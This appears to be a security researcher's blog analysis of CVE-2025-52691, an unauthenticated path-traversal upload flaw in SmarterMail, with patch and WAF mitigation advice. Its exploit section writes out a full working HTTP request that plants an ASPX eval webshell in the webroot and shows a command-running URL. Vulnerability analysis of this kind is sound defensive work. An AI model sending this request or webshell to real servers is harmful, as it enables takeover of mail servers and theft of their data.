CVE-2025-52691

Return to Sender: Unauthenticated RCE in SmarterMail

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 9, 2026·5 min read

Executive Summary (TL;DR)

SmarterMail's `/api/upload` endpoint is unauthenticated and blindly trusts a `guid` parameter nested inside a JSON payload. Attackers can set this `guid` to `../../../` to break out of the temp directory and write a .aspx shell into the webroot, achieving instant RCE as the service account.

A critical 10.0 CVSS vulnerability in SmarterTools SmarterMail allows unauthenticated attackers to upload arbitrary files—specifically ASPX web shells—by exploiting a path traversal flaw in the JSON processing of the file upload API.

The Hook: You've Got Mail (and a Shell)

Email servers are the crown jewels of corporate infrastructure. They hold the secrets, the password resets, and the internal communications. Compromise the mail server, and you effectively own the organization. Usually, getting into these fortresses requires credentials, a complex exploit chain, or a naive user clicking a link.

Not today. SmarterTools SmarterMail, a popular alternative to Exchange, decided to leave the back door not just unlocked, but wide open with a welcome mat. CVE-2025-52691 is a CVSS 10.0 vulnerability that combines the two most dangerous words in InfoSec: Unauthenticated and RCE.

This isn't a complex heap overflow or a race condition. It is a logic flaw so stark it hurts. The application allows anyone on the internet to upload files to the server without logging in. That bad design choice alone is a headache, but combined with a total lack of input sanitization on the file path, it becomes catastrophic. If you run SmarterMail, stop reading and patch. If you want to see how a simple string concatenation can destroy a company, read on.

The Flaw: Anonymous Uploads & JSON Trust

The vulnerability lives in the FileUploadController, specifically mapped to /api/upload. In a move that defies all security logic, this endpoint is decorated with [AuthenticatedService(AllowAnonymous = true)]. This explicitly tells the framework: "Let anyone in, no questions asked."

The endpoint expects a multipart/form-data POST request. One of the form fields, contextData, contains a JSON string. The server deserializes this string into a PostUploadProcessingTargetData object. Inside this object is a property called guid.

Here is where the developer's assumption creates the vulnerability. They assumed guid would be a GUID—a harmless string of hex characters like 6F9619FF-8B86-D011-B42D-00C04FC964FF. They did not enforce this. They treated it as a raw string. When the upload process runs, it uses this guid to generate the filename on disk. It trusts the user input implicitly, blind to the fact that a user might supply directory traversal characters instead of a UUID.

The Code: Concatenation Catastrophe

The smoking gun is found in the AttachmentsHelper.cs file (or equivalent logic in the compiled DLL). The application takes the guid provided by the attacker and passes it to a string formatter. Look at this logic:

// The generated filename relies on the unchecked 'attachguid'
private static string GenerateFileName(string attachguid, int count, string extension) {
    return string.Format("att_{0}_{1}.{2}", attachguid, count, extension);
}

There is no regex check. There is no Guid.Parse(). There is just raw string concatenation. If I send a guid of aaaa, the file is named att_aaaa_0.dat.

But if I send a guid of ../../../../inetpub/wwwroot/shell, the function dutifully produces: att_../../../../inetpub/wwwroot/shell_0.aspx.

When this string is combined with the base directory, the OS filesystem resolves the dot-dots, walking up the directory tree out of the safe App_Data folder and dropping the payload right into the web root. Since SmarterMail is an ASP.NET application, dropping an .aspx file into a web-accessible directory means the server compiles and executes it the moment it is accessed.

The Exploit: Dropping the Webshell

Exploiting this is trivially easy. You don't need special tooling; curl or Burp Suite is enough. The attack requires a single POST request with specific multipart parameters.

Here is the anatomy of the kill chain:

  1. Target: /api/upload
  2. Context: Set to attachment to trigger the vulnerable code path.
  3. Filename: Set the extension to .aspx (or .ashx).
  4. The Payload: The contextData JSON carrying the traversal payload in the guid field.

The Request:

POST /api/upload HTTP/1.1
Host: target-mail-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDoom
 
------WebKitFormBoundaryDoom
Content-Disposition: form-data; name="context"
 
attachment
------WebKitFormBoundaryDoom
Content-Disposition: form-data; name="resumableFilename"
 
shell.aspx
------WebKitFormBoundaryDoom
Content-Disposition: form-data; name="contextData"
 
{"guid":"../../../inetpub/wwwroot/"}
------WebKitFormBoundaryDoom
Content-Disposition: form-data; name="file"; filename="pwn.txt"
 
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
------WebKitFormBoundaryDoom--

Once sent, the server responds with a 200 OK. The attacker then simply navigates to http://target-mail-server.com/att__0.aspx?cmd=whoami and enjoys their new nt authority\system shell.

The Impact: Total System Compromise

The impact cannot be overstated. This is not just "reading emails." This is full Remote Code Execution as the user running the SmarterMail service.

Immediate Consequences:

  • Data Exfiltration: The attacker can read every email stored on the server, including attachments.
  • Lateral Movement: Mail servers are often integrated with Active Directory. The attacker can dump memory (LSASS) to steal credentials or use the machine as a pivot point to attack the internal network.
  • Ransomware: Because the attacker has write access to the filesystem, they can encrypt the mail store and hold the organization's communications hostage.

Since the vulnerability is unauthenticated and the exploit is stable, this is a prime candidate for automated botnets and ransomware gangs. We expect to see widespread scanning for this CVE immediately.

The Fix: Validation is Key

SmarterTools patched this in Build 9413. The fix is straightforward: validate the input. The updated code likely parses the guid to ensure it is actually a GUID, or checks for the presence of path traversal characters (.., /, \) before allowing the file write operation.

If you cannot patch immediately, you are in a dangerous position. Network-level mitigations are your only hope:

  1. Block /api/upload: If external users don't need to upload attachments via the API (which is likely used by the webmail interface), block this path at your reverse proxy or WAF.
  2. WAF Rules: Inspect POST bodies for contextData containing .. or %2e%2e. However, JSON encoding nuances can make this difficult to filter reliably.

Recommendation: Patch. Now. Do not pass Go. Do not collect $200.

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.23%
Top 54% most exploited

Affected Systems

SmarterTools SmarterMail Build 9406SmarterTools SmarterMail Build 16 (and older)

Affected Versions Detail

Product
Affected Versions
Fixed Version
SmarterMail
SmarterTools
<= Build 9406Build 9413
AttributeDetail
CWE IDCWE-434 (Unrestricted File Upload)
Secondary CWECWE-23 (Path Traversal)
CVSS v3.110.0 (Critical)
Attack VectorNetwork (HTTP)
AuthenticationNone (Anonymous)
ImpactRemote Code Execution (RCE)
Exploit StatusFunctional PoC Available
CWE-434
Unrestricted Upload of File with Dangerous Type

The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.

Vulnerability Timeline

Vendor releases Build 9413 fixing the issue silently
2025-10-10
Singapore CSA publishes advisory
2025-12-29
CVE-2025-52691 assigned
2025-12-30
watchTowr Labs publishes full analysis and PoC
2026-01-08

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.